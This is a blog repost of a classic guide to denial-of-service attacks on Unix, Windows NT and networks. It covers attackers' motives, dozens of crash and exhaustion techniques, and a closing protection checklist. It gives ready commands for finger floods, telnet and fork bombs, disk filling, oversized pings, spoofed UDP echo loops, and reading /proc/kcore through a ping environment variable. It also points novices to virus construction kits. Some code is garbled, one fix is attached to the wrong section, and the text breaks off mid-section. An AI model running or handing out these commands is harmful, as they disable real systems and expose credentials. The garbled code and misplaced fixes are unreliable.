E-Database: dos

Showing posts with label dos. Show all posts

Friday, September 28, 2012

INTRODUCTION TO DENIAL OF SERVICE

.0. FOREWORD

.A. INTRODUCTION
.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
.A.2.1. INTRODUCTION
.A.2.2. SUB-CULTURAL STATUS
.A.2.3. TO GAIN ACCESS
.A.2.4. REVENGE
.A.2.5. POLITICAL REASONS
.A.2.6. ECONOMICAL REASONS
.A.2.7. NASTINESS
.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?

.B. SOME BASIC TARGETS FOR AN ATTACK
.B.1. SWAP SPACE
.B.2. BANDWIDTH
.B.3. KERNEL TABLES
.B.4. RAM
.B.5. DISKS
.B.6. CACHES
.B.7. INETD

.C. ATTACKING FROM THE OUTSIDE
.C.1. TAKING ADVANTAGE OF FINGER
.C.2. UDP AND SUNOS 4.1.3.
.C.3. FREEZING UP X-WINDOWS
.C.4. MALICIOUS USE OF UDP SERVICES
.C.5. ATTACKING WITH LYNX CLIENTS
.C.6. MALICIOUS USE OF telnet
.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
.C.8. HOW TO DISABLE ACCOUNTS
.C.9. LINUX AND TCP TIME, DAYTIME
.C.10. HOW TO DISABLE SERVICES
.C.11. PARAGON OS BETA R1.4
.C.12. NOVELLS NETWARE FTP
.C.13. ICMP REDIRECT ATTACKS
.C.14. BROADCAST STORMS
.C.15. EMAIL BOMBING AND SPAMMING
.C.16. TIME AND KERBEROS
.C.17. THE DOT DOT BUG
.C.18. SUNOS KERNEL PANIC
.C.19. HOSTILE APPLETS
.C.20. VIRUS
.C.21. ANONYMOUS FTP ABUSE
.C.22. SYN FLOODING
.C.23. PING FLOODING
.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
.C.26. FLEXlm
.C.27. BOOTING WITH TRIVIAL FTP

.D. ATTACKING FROM THE INSIDE
.D.1. KERNEL PANIC UNDER SOLARIS 2.3
.D.2. CRASHING THE X-SERVER
.D.3. FILLING UP THE HARD DISK
.D.4. MALICIOUS USE OF eval
.D.5. MALICIOUS USE OF fork()
.D.6. CREATING FILES THAT IS HARD TO REMOVE
.D.7. DIRECTORY NAME LOOKUPCACHE
.D.8. CSH ATTACK
.D.9. CREATING FILES IN /tmp
.D.10. USING RESOLV_HOST_CONF
.D.11. SUN 4.X AND BACKGROUND JOBS
.D.12. CRASHING DG/UX WITH ULIMIT
.D.13. NETTUNE AND HP-UX
.D.14. SOLARIS 2.X AND NFS
.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X

.E. DUMPING CORE
.E.1. SHORT COMMENT
.E.2. MALICIOUS USE OF NETSCAPE
.E.3. CORE DUMPED UNDER WUFTPD
.E.4. ld UNDER SOLARIS/X86

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
.F.1. BASIC SECURITY PROTECTION
.F.1.1. INTRODUCTION
.F.1.2. PORT SCANNING
.F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
.F.1.5. EXTRA SECURITY SYSTEMS
.F.1.6. MONITORING SECURITY
.F.1.7. KEEPING UP TO DATE
.F.2. MONITORING PERFORMANCE
.F.2.1. INTRODUCTION
.F.2.2. COMMANDS AND SERVICES
.F.2.3. PROGRAMS
.F.2.4. ACCOUNTING

.0. FOREWORD
------------

This blog is about

- What is a denial of service attack?
- Why would someone crash a system?
- How can someone crash a system.
- How do I protect a system against denial of service attacks?

.A. INTRODUCTION
~~~~~~~~~~~~~~~~

.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?
-----------------------------------------

Denial of service is about without permission knocking off
services, for example through crashing the whole system. This
kind of attacks are easy to launch and it is hard to protect
a system against them. The basic problem is that Unix
assumes that users on the system or on other systems will be
well behaved.

.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?
---------------------------------------

.A.2.1. INTRODUCTION
--------------------

Why would someone crash a system? I can think of several reasons
that I have presentated more precisely in a section for each reason,
but for short:

.1. Sub-cultural status.
.2. To gain access.
.3. Revenge.
.4. Political reasons.
.5. Economical reasons.
.6. Nastiness.

I think that number one and six are the more common today, but that
number four and five will be the more common ones in the future.

.A.2.2. SUB-CULTURAL STATUS
---------------------------

After all information about syn flooding a bunch of such attacks
were launched around Sweden. The very most of these attacks were
not a part of a IP-spoof attack, it was "only" a denial of service
attack. Why?

I think that hackers attack systems as a sub-cultural pseudo career
and I think that many denial of service attacks, and here in the
example syn flooding, were performed for these reasons. I also think
that many hackers begin their carrer with denial of service attacks.

.A.2.3. TO GAIN ACCESS
----------------------

Sometimes could a denial of service attack be a part of an attack to
gain access at a system. At the moment I can think of these reasons
and specific holes:

.1. Some older X-lock versions could be crashed with a
method from the denial of service family leaving the system
open. Physical access was needed to use the work space after.

.2. Syn flooding could be a part of a IP-spoof attack method.

.3. Some program systems could have holes under the startup,
that could be used to gain root, for example SSH (secure shell).

.4. Under an attack it could be usable to crash other machines
in the network or to deny certain persons the ability to access
the system.

.5. Also could a system being booted sometimes be subverted,
especially rarp-boots. If we know which port the machine listen
to (69 could be a good guess) under the boot we can send false
packets to it and almost totally control the boot.

.A.2.4. REVENGE
---------------

A denial of service attack could be a part of a revenge against a user
or an administrator.

.A.2.5. POLITICAL REASONS
-------------------------

Sooner or later will new or old organizations understand the potential
of destroying computer systems and find tools to do it.

For example imaginate the Bank A loaning company B money to build a
factory threating the environment. The organization C therefor crash A:s
computer system, maybe with help from an employee. The attack could cost
A a great deal of money if the timing is right.

.A.2.6. ECONOMICAL REASONS
--------------------------

Imaginate the small company A moving into a business totally dominated by
company B. A and B customers make the orders by computers and depends
heavily on that the order is done in a specific time (A and B could be
stock trading companies). If A and B can't perform the order the customers
lose money and change company.

As a part of a business strategy A pays a computer expert a sum of money to
get him to crash B:s computer systems a number of times. A year later A
is the dominating company.

.A.2.7. NASTINESS
-----------------

I know a person that found a workstation where the user had forgotten to
logout. He sat down and wrote a program that made a kill -9 -1 at a
random time at least 30 minutes after the login time and placed a call to
the program from the profile file. That is nastiness.

.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?
---------------------------------------------

This is a hard question to answer and I don't think that it will
give anything to compare different Unix platforms. You can't say that
one Unix is more secure against denial of service, it is all up to the
administrator.

A comparison between Windows 95 and NT on one side and Unix on the
other could however be interesting.

Unix systems are much more complex and have hundreds of built in programs,
services... This always open up many ways to crash the system from
the inside.

In the normal Windows NT and 95 network were is few ways to crash
the system. Although were is methods that always will work.

That gives us that no big different between Microsoft and Unix can
be seen regardning the inside attacks. But there is a couple of
points left:

- Unix have much more tools and programs to discover an
attack and monitoring the users. To watch what another user
is up to under windows is very hard.

- The average Unix administrator probably also have much more
experience than the average Microsoft administrator.

The two last points gives that Unix is more secure against inside
denial of service attacks.

A comparison between Microsoft and Unix regarding outside attacks
are much more difficult. However I would like to say that the average
Microsoft system on the Internet are more secure against outside
attacks, because they normally have much less services.

.B. SOME BASIC TARGETS FOR AN ATTACK
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.B.1. SWAP SPACE
----------------

Most systems have several hundred Mbytes of swap space to
service client requests. The swap space is typical used
for forked child processes which have a short life time.
The swap space will therefore almost never in a normal
cause be used heavily. A denial of service could be based
on a method that tries to fill up the swap space.

.B.2. BANDWIDTH
---------------

If the bandwidth is to high the network will be useless. Most
denial of service attack influence the bandwidth in some way.

.B.3. KERNEL TABLES
-------------------

It is trivial to overflow the kernel tables which will cause
serious problems on the system. Systems with write through
caches and small write buffers is especially sensitive.

Kernel memory allocation is also a target that is sensitive.
The kernel have a kernelmap limit, if the system reach this
limit it can not allocate more kernel memory and must be rebooted.
The kernel memory is not only used for RAM, CPU:s, screens and so
on, it it also used for ordinaries processes. Meaning that any system
can be crashed and with a mean (or in some sense good) algorithm pretty
fast.

For Solaris 2.X it is measured and reported with the sar command
how much kernel memory the system is using, but for SunOS 4.X there
is no such command. Meaning that under SunOS 4.X you don't even can
get a warning. If you do use Solaris you should write sar -k 1 to
get the information. netstat -k can also be used and shows how much
memory the kernel have allocated in the subpaging.

.B.4. RAM
---------

A denial of service attack that allocates a large amount of RAM
can make a great deal of problems. NFS and mail servers are
actually extremely sensitive because they do not need much
RAM and therefore often don't have much RAM. An attack at
a NFS server is trivial. The normal NFS client will do a
great deal of caching, but a NFS client can be anything
including the program you wrote yourself...

.B.5. DISKS
-----------

A classic attack is to fill up the hard disk, but an attack at
the disks can be so much more. For example can an overloaded disk
be misused in many ways.

.B.6. CACHES
-------------

A denial of service attack involving caches can be based on a method
to block the cache or to avoid the cache.

These caches are found on Solaris 2.X:

Directory name lookup cache: Associates the name of a file with a vnode.

Inode cache: Cache information read from disk in case it is needed
again.

Rnode cache: Holds information about the NFS filesystem.

Buffer cache: Cache inode indirect blocks and cylinders to realed disk
I/O.

.B.7. INETD
-----------

Well once inetd crashed all other services running through inetd no
longer will work.

.C. ATTACKING FROM THE OUTSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.C.1. TAKING ADVANTAGE OF FINGER
--------------------------------

Most fingerd installations support redirections to an other host.

Ex:

$finger @system.two.com@system.one.com

finger will in the example go through system.one.com and on to
system.two.com. As far as system.two.com knows it is system.one.com
who is fingering. So this method can be used for hiding, but also
for a very dirty denial of service attack. Lock at this:

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

All those @ signs will get finger to finger host.we.attack again and
again and again... The effect on host.we.attack is powerful and
the result is high bandwidth, short free memory and a hard disk with
less free space, due to all child processes (compare with .D.5.).

The solution is to install a fingerd which don't support redirections,
for example GNU finger. You could also turn the finger service off,
but I think that is just a bit to much.

.C.2. UDP AND SUNOS 4.1.3.
--------------------------

SunOS 4.1.3. is known to boot if a packet with incorrect information
in the header is sent to it. This is the cause if the ip_options
indicate a wrong size of the packet.

The solution is to install the proper patch.

.C.3. FREEZING UP X-WINDOWS
---------------------------

If a host accepts a telnet session to the X-Windows port (generally
somewhere between 6000 and 6025. In most cases 6000) could that
be used to freeze up the X-Windows system. This can be made with
multiple telnet connections to the port or with a program which
sends multiple XOpenDisplay() to the port.

The same thing can happen to Motif or Open Windows.

The solution is to deny connections to the X-Windows port.

.C.4. MALICIOUS USE OF UDP SERVICES
-----------------------------------

It is simple to get UDP services (echo, time, daytime, chargen) to
loop, due to trivial IP-spoofing. The effect can be high bandwidth
that causes the network to become useless. In the example the header
claim that the packet came from 127.0.0.1 (loopback) and the target
is the echo port at system.we.attack. As far as system.we.attack knows
is 127.0.0.1 system.we.attack and the loop has been establish.

Ex:

from-IP=127.0.0.1
to-IP=system.we.attack
Packet type:UDP
from UDP port 7
to UDP port 7

Note that the name system.we.attack looks like a DNS-name, but the
target should always be represented by the IP-number.

Quoted from proberts@clark.net (Paul D. Robertson) comment on
comp.security.firewalls on matter of "Introduction to denial of service"

" A great deal of systems don't put loopback on the wire, and simply
emulate it. Therefore, this attack will only effect that machine
in some cases. It's much better to use the address of a different
machine on the same network. Again, the default services should
be disabled in inetd.conf. Other than some hacks for mainframe IP
stacks that don't support ICMP, the echo service isn't used by many
legitimate programs, and TCP echo should be used instead of UDP
where it is necessary. "

.C.5. ATTACKING WITH LYNX CLIENTS
---------------------------------

A World Wide Web server will fork an httpd process as a respond
to a request from a client, typical Netscape or Mosaic. The process
lasts for less than one second and the load will therefore never
show up if someone uses ps. In most causes it is therefore very
safe to launch a denial of service attack that makes use of
multiple W3 clients, typical lynx clients. But note that the netstat
command could be used to detect the attack (thanks to Paul D. Robertson).

Some httpd:s (for example http-gw) will have problems besides the normal
high bandwidth, low memory... And the attack can in those causes get
the server to loop (compare with .C.6.)

.C.6. MALICIOUS USE OF telnet
-----------------------------

Study this little script:

Ex:

while : ; do
telnet system.we.attack &
done

An attack using this script might eat some bandwidth, but it is
nothing compared to the finger method or most other methods. Well
the point is that some pretty common firewalls and httpd:s thinks
that the attack is a loop and turn them self down, until the
administrator sends kill -HUP.

This is a simple high risk vulnerability that should be checked
and if present fixed.

.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4
-----------------------------------------------

If the attacker makes a telnet connections to the Solaris 2.4 host and
quits using:

Ex:

Control-}
quit

then will inetd keep going "forever". Well a couple of hundred...

The solution is to install the proper patch.

.C.8. HOW TO DISABLE ACCOUNTS
-----------------------------

Some systems disable an account after N number of bad logins, or waits
N seconds. You can use this feature to lock out specific users from
the system.

.C.9. LINUX AND TCP TIME, DAYTIME
----------------------------------

Inetd under Linux is known to crash if to many SYN packets sends to
daytime (port 13) and/or time (port 37).

The solution is to install the proper patch.

.C.10. HOW TO DISABLE SERVICES
------------------------------

Most Unix systems disable a service after N sessions have been
open in a given time. Well most systems have a reasonable default
(lets say 800 - 1000), but not some SunOS systems that have the
default set to 48...

The solutions is to set the number to something reasonable.

.C.11. PARAGON OS BETA R1.4
---------------------------

If someone redirects an ICMP (Internet Control Message Protocol) packet
to a paragon OS beta R1.4 will the machine freeze up and must be
rebooted. An ICMP redirect tells the system to override routing
tables. Routers use this to tell the host that it is sending
to the wrong router.

The solution is to install the proper patch.

.C.12. NOVELLS NETWARE FTP
--------------------------

Novells Netware FTP server is known to get short of memory if multiple
ftp sessions connects to it.

.C.13. ICMP REDIRECT ATTACKS
----------------------------

Gateways uses ICMP redirect to tell the system to override routing
tables, that is telling the system to take a better way. To be able
to misuse ICMP redirection we must know an existing connection
(well we could make one for ourself, but there is not much use for that).
If we have found a connection we can send a route that
loses it connectivity or we could send false messages to the host
if the connection we have found don't use cryptation.

Ex: (false messages to send)

DESTINATION UNREACHABLE
TIME TO LIVE EXCEEDED
PARAMETER PROBLEM
PACKET TOO BIG

The effect of such messages is a reset of the connection.

The solution could be to turn ICMP redirects off, not much proper use
of the service.

.C.14. BROADCAST STORMS
-----------------------

This is a very popular method in networks there all of the hosts are
acting as gateways.

There are many versions of the attack, but the basic method is to
send a lot of packets to all hosts in the network with a destination
that don't exist. Each host will try to forward each packet so
the packets will bounce around for a long time. And if new packets
keep coming the network will soon be in trouble.

Services that can be misused as tools in this kind of attack is for
example ping, finger and sendmail. But most services can be misused
in some way or another.

.C.15. EMAIL BOMBING AND SPAMMING
---------------------------------

In a email bombing attack the attacker will repeatedly send identical
email messages to an address. The effect on the target is high bandwidth,
a hard disk with less space and so on... Email spamming is about sending
mail to all (or rather many) of the users of a system. The point of
using spamming instead of bombing is that some users will try to
send a replay and if the address is false will the mail bounce back. In
that cause have one mail transformed to three mails. The effect on the
bandwidth is obvious.

There is no way to prevent email bombing or spamming. However have
a look at CERT:s paper "Email bombing and spamming".

.C.16. TIME AND KERBEROS
------------------------

If not the the source and target machine is closely aligned will the
ticket be rejected, that means that if not the protocol that set the
time is protected it will be possible to set a kerberos server of
function.

.C.17. THE DOT DOT BUG
----------------------

Windows NT file sharing system is vulnerable to the under Windows 95
famous dot dot bug (dot dot like ..). Meaning that anyone can crash
the system. If someone sends a "DIR ..\" to the workstation will a
STOP messages appear on the screen on the Windows NT computer. Note that
it applies to version 3.50 and 3.51 for both workstation and server
version.

The solution is to install the proper patch.

.C.18. SUNOS KERNEL PANIC
-------------------------

Some SunOS systems (running TIS?) will get a kernel panic if a
getsockopt() is done after that a connection has been reset.

The solution could be to install Sun patch 100804.

.C.19. HOSTILE APPLETS
----------------------

A hostile applet is any applet that attempts to use your system
in an inappropriate manner. The problems in the java language
could be sorted in two main groups:

1) Problems due to bugs.
2) Problems due to features in the language.

In group one we have for example the java bytecode verifier bug, which
makes is possible for an applet to execute any command that the user
can execute. Meaning that all the attack methods described in .D.X.
could be executed through an applet. The java bytecode verifier bug
was discovered in late March 1996 and no patch have yet been available
(correct me if I'am wrong!!!).

Note that two other bugs could be found in group one, but they
are both fixed in Netscape 2.01 and JDK 1.0.1.

Group two are more interesting and one large problem found is the
fact that java can connect to the ports. Meaning that all the methods
described in .C.X. can be performed by an applet. More information
and examples could be found at address:

http://www.math.gatech.edu/~mladue/HostileArticle.html

If you need a high level of security you should use some sort of
firewall for protection against java. As a user you could have
java disable.

.C.20. VIRUS
------------

Computer virus is written for the purpose of spreading and
destroying systems. Virus is still the most common and famous
denial of service attack method.

It is a misunderstanding that virus writing is hard. If you know
assembly language and have source code for a couple of virus it
is easy. Several automatic toolkits for virus construction could
also be found, for example:

* Genvir.
* VCS (Virus Construction Set).
* VCL (Virus Construction Laboratory).
* PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
* IVP (Instant Virus Production Kit).
* G2 (G Squared).

PS-MPC and VCL is known to be the best and can help the novice programmer
to learn how to write virus.

An automatic tool called MtE could also be found. MtE will transform
virus to a polymorphic virus. The polymorphic engine of MtE is well
known and should easily be catch by any scanner.

.C.21. ANONYMOUS FTP ABUSE
--------------------------

If an anonymous FTP archive have a writable area it could be misused
for a denial of service attack similar with with .D.3. That is we can
fill up the hard disk.

Also can a host get temporarily unusable by massive numbers of
FTP requests.

For more information on how to protect an anonymous FTP site could
CERT:s "Anonymous FTP Abuses" be a good start.

.C.22. SYN FLOODING
-------------------

Both 2600 and Phrack have posted information about the syn flooding attack.
2600 have also posted exploit code for the attack.

As we know the syn packet is used in the 3-way handshake. The syn flooding
attack is based on an incomplete handshake. That is the attacker host
will send a flood of syn packet but will not respond with an ACK packet.
The TCP/IP stack will wait a certain amount of time before dropping
the connection, a syn flooding attack will therefore keep the syn_received
connection queue of the target machine filled.

The syn flooding attack is very hot and it is easy to find more information
about it, for example:

[.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
Article by Christopher Klaus, including a "solution".

[.2.] http://jya.com/floodd.txt
2600, Summer, 1996, pp. 6-11. FLOOD WARNING by Jason Fairlane

[.3.] http://www.fc.net/phrack/files/p48/p48-14.html
IP-spoofing Demystified by daemon9 / route / infinity
for Phrack Magazine

.C.23. PING FLOODING
--------------------

I haven't tested how big the impact of a ping flooding attack is, but
it might be quite big.

Under Unix we could try something like: ping -s host
to send 64 bytes packets.

If you have Windows 95, click the start button, select RUN, then type
in: PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES
----------------------------------------------------------

If someone can ping your machine from a Windows 95 machine he or she might
reboot or freeze your machine. The attacker simply writes:

ping -l 65510 address.to.the.machine

And the machine will freeze or reboot.

Works for kernel 2.0.7 up to version 2.0.20. and 2.1.1. for Linux (crash).
AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (reboot).

.C.25. MALICIOUS USE OF SUBNET MASK REPLY MESSAGE
--------------------------------------------------

The subnet mask reply message is used under the reboot, but some
hosts are known to accept the message any time without any check.
If so all communication to or from the host us turned off, it's dead.

The host should not accept the message any time but under the reboot.

.C.26. FLEXlm
-------------

Any host running FLEXlm can get the FLEXlm license manager daemon
on any network to shutdown using the FLEXlm lmdown command.

# lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

.C.27. BOOTING WITH TRIVIAL FTP
-------------------------------

To boot diskless workstations one often use trivial ftp with rarp or
bootp. If not protected an attacker can use tftp to boot the host.

.D. ATTACKING FROM THE INSIDE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC UNDER SOLARIS 2.3
------------------------------------

Solaris 2.3 will get a kernel panic if this
is executed:

EX:

$ndd /dev/udp udp_status

The solution is to install the proper patch.

.D.2. CRASHING THE X-SERVER
---------------------------

If stickybit is not set in /tmp then can the file /tmp/.x11-unix/x0
be removed and the x-server will crash.

Ex:

$ rm /tmp/.x11-unix/x0

.D.3. FILLING UP THE HARD DISK
-----------------------------

If your hard disk space is not limited by a quota or if you can use
/tmp then it`s possible for you to fill up the file system.

Ex:

while : ;
mkdir .xxx
cd .xxx
done

.D.4. MALICIOUS USE OF eval
---------------------------

Some older systems will crash if eval '\!\!' is executed in the
C-shell.

Ex:

% eval '\!\!'

.D.5. MALICIOUS USE OF fork()
-----------------------------

If someone executes this C++ program the result will result in a crash
on most systems.

Ex:

#include
#include
#include

main()
{
int x;
while(x=0;x<1000000 b="b" x="x">
{
system("uptime");
fork();
}
}

You can use any command you want, but uptime is nice
because it shows the workload.

To get a bigger and very ugly attack you should however replace uptime
(or fork them both) with sync. This is very bad.

If you are real mean you could also fork a child process for
every child process and we will get an exponential increase of
workload.

There is no good way to stop this attack and
similar attacks. A solution could be to place a limit
on time of execution and size of processes.

.D.6. CREATING FILES THAT IS HARD TO REMOVE
-------------------------------------------

Well all files can be removed, but here is some ideas:

Ex.I.

$ cat > -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ...
$

Ex.II.

$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$

(You see the size do count!)

Other well know methods is files with odd characters or spaces
in the name.

These methods could be used in combination with ".D.3 FILLING UP THE
HARDDISK". If you do want to remove these files you must use some sort
of script or a graphical interface like OpenWindow:s File
Manager. You can also try to use: rm ./. It should work for
the first example if you have a shell.

.D.7. DIRECTORY NAME LOOKUPCACHE
--------------------------------

Directory name lookupcache (DNLC) is used whenever a file is opened.
DNLC associates the name of the file to a vnode. But DNLC can only
operate on files with names that has less than N characters (for SunOS 4.x
up to 14 character, for Solaris 2.x up 30 characters). This means
that it's dead easy to launch a pretty discreet denial of service attack.

Create lets say 20 directories (for a start) and put 10 empty files in
every directory. Let every name have over 30 characters and execute a
script that makes a lot of ls -al on the directories.

If the impact is not big enough you should create more files or launch
more processes.

.D.8. CSH ATTACK
----------------

Just start this under /bin/csh (after proper modification)
and the load level will get very high (that is 100% of the cpu time)
in a very short time.

Ex:

|I /bin/csh
nodename : **************b

.D.9. CREATING FILES IN /tmp
----------------------------

Many programs creates files in /tmp, but are unable to deal with the problem
if the file already exist. In some cases this could be used for a
denial of service attack.

.D.10. USING RESOLV_HOST_CONF
-----------------------------

Some systems have a little security hole in the way they use the
RESOLV_HOST_CONF variable. That is we can put things in it and
through ping access confidential data like /etc/shadow or
crash the system. Most systems will crash if /proc/kcore is
read in the variable and access through ping.

Ex:

$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

.D.11. SUN 4.X AND BACKGROUND JOBS
----------------------------------

" Put the string "a&" in a file called "a" and perform "chmod +x a".
Running "a" will quickly disable a Sun 4.x machine, even disallowing
(counter to specs) root login as the kernel process table fills."

" The cute thing is the size of the
script, and how few keystrokes it takes to bring down a Sun
as a regular user."

.D.12. CRASHING DG/UX WITH ULIMIT
---------------------------------

ulimit is used to set a limit on the system resources available to the
shell. If ulimit 0 is called before /etc/passwd, under DG/UX, will the
passwd file be set to zero.

.D.13. NETTUNE AND HP-UX
------------------------

/usr/contrib/bin/nettune is SETUID root on HP-UX meaning
that any user can reset all ICMP, IP and TCP kernel
parameters, for example the following parameters:

- arp_killcomplete
- arp_killincomplete
- arp_unicast
- arp_rebroadcast
- icmp_mask_agent
- ip_defaultttl
- ip_forwarding
- ip_intrqmax
- pmtu_defaulttime
- tcp_localsubnets
- tcp_receive
- tcp_send
- tcp_defaultttl
- tcp_keepstart
- tcp_keepfreq
- tcp_keepstop
- tcp_maxretrans
- tcp_urgent_data_ptr
- udp_cksum
- udp_defaultttl
- udp_newbcastenable
- udp_pmtu
- tcp_pmtu
- tcp_random_seq

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.14. SOLARIS 2.X AND NFS
--------------------------

If a process is writing over NFS and the user goes over the disk
quota will the process go into an infinite loop.

.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION
--------------------------------------------------

By executing a sequence of mount_union commands any user
can cause a system reload on all FreeBSD version 2.X before
1996-05-18.

$ mkdir a
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b

The solution could be to set the proper permission on
/sbin/mount_union:

#chmod u-s /sbin/mount_union

.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X
----------------------------------------------------

Executing the trap_mon instruction from user mode can cause
a kernel panic or a window underflow watchdog reset under
SunOS 4.1.x, sun4c architecture.

.E. DUMPING CORE
~~~~~~~~~~~~~~~~

.E.1. SHORT COMMENT
-------------------

The core dumps things don't really belongs in this paper but I have
put them here anyway.

.E.2. MALICIOUS USE OF NETSCAPE
-------------------------------

Under Netscape 1.1N this link will result in a segmentation fault and a
core dump.

Ex:

xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx. xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...>

.E.3. CORE DUMPED UNDER WUFTPD
------------------------------

A core dumped could be created under wuftp with two different
methods:

(1) Then pasv is given (user not logged in (ftp -n)). Almost all
versions of BSD:s ftpd.
(2) More than 100 arguments is given with any executable
command. Presents in all versions of BSD:sd ftpd.

.E.4. ld UNDER SOLARIS/X86
--------------------------

Under Solaris 2.4/X86 ld dumps core if given with the -s option.

.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.F.1. BASIC SECURITY PROTECTION
-------------------------------

.F.1.1. INTRODUCTION
--------------------

You can not make your system totally secured against denial of service
attacks but for attacks from the outside you can do a lot. I put this
work list together and hope that it can be of some use.

.F.1.2. SECURITY PATCHES
------------------------

Always install the proper security patches. As for patch numbers
I don't want to put them out, but that doesn't matter because you
anyway want to check that you have all security patches installed,
so get a list and check! Also note that patches change over time and
that a solution suggested in security bulletins (i.e. CERT) often
is somewhat temporary.

.F.1.3. PORT SCANNING
---------------------

Check which services you have. Don't check with the manual
or some configuration file, instead scan the ports with sprobe
or some other port scanner. Actual you should do this regualy to see
that anyone don't have installed a service that you don't want on
the system (could for example be service used for a pirate site).

Disable every service that you don't need, could for example be rexd,
fingerd, systat, netstat, rusersd, sprayd, pop3, uucpd, echo, chargen,
tftp, exec, ufs, daytime, time... Any combination of echo, time, daytime
and chargen is possible to get to loop. There is however no need
to turn discard off. The discard service will just read a packet
and discard it, so if you turn off it you will get more sensitive to
denial of service and not the opposite.

Actual can services be found on many systems that can be used for
denial of service and brute force hacking without any logging. For
example Stock rexec never logs anything. Most popd:s also don't log
anything

.F.1.4. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS BLOG
---------------------------------------------------------

Check that attacks described in this blog and look at the
solution. Some attacks you should perform yourself to see if they
apply to your system, for example:

- Freezing up X-Windows.
- Malicious use of telnet.
- How to disable services.
- SunOS kernel panic.
- Attacking with lynx clients.
- Crashing systems with ping from Windows 95 machines.

That is stress test your system with several services and look at
the effect.

Note that Solaris 2.4 and later have a limit on the number of ICMP
error messages (1 per 500 ms I think) that can cause problems then
you test your system for some of the holes described in this paper.
But you can easy solve this problem by executing this line:

$ /usr/sbin/ndd -set /dev/ip ip_icmp_err_interval 0

.F.1.5. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER
--------------------------------------------------------

Check the inside attacks, although it is always possibly to crash
the system from the inside you don't want it to be to easy. Also
have several of the attacks applications besides denial of service,
for example:

- Crashing the X-Server: If stickybit is not set in /tmp
a number of attacks to gain
access can be performed.

- Using resolv_host_conf: Could be used to expose
confidential data like
/etc/shadow.

- Core dumped under wuftpd: Could be used to extract
password-strings.

If I don't have put out a solution I might have recommended son other paper.
If not I don't know of a paper with a solution I feel that I can recommend.
You should in these causes check with your company.

.F.1.6. EXTRA SECURITY SYSTEMS
------------------------------

Also think about if you should install some extra security systems.
The basic that you always should install is a logdaemon and a wrapper.
A firewall could also be very good, but expensive. Free tools that can
be found on the Internet is for example:

TYPE: NAME: URL:

LOGDAEMON NETLOG   ftp://net.tamu.edu/pub/security/TAMU
WRAPPER TCP WRAPPERS   ftp://cert.org/pub/tools/tcp_wrappers
FIREWALL   TIS   ftp://ftp.tis.com/pub/firewalls/toolkit

Note that you should be very careful if building your own firewall with
TIS or you might open up new and very bad security holes, but it is a very
good security packer if you have some basic knowledge.

It is also very good to replace services that you need, for example telnet,
rlogin, rsh or whatever, with a tool like ssh. Ssh is free and can be
found at URL:

ftp://ftp.cs.hut.fi/pub/ssh

.F.1.7. MONITORING SECURITY
---------------------------

Also monitor security regular, for example through examining system log
files, history files... Even in a system without any extra security systems
could several tools be found for monitoring, for example:

- uptime
- showmount
- ps
- netstat
- finger

.F.1.8. KEEPING UP TO DATE
--------------------------

It is very important to keep up to date with security problems. Also
understand that then, for example CERT, warns for something it has often
been dark-side public for sometime, so don't wait. The following resources
that helps you keeping up to date can for example be found on the Internet:

- CERT mailing list. Send an e-mail to cert@cert.org to be placed
on the list.

- Bugtraq mailing list. Send an e-mail to bugtraq-request@fc.net.

- WWW-security mailing list. Send an e-mail to
www-security@ns2.rutgers.edu.

.F.2. MONITORING PERFORMANCE
----------------------------

.F.2.1. INTRODUCTION
--------------------

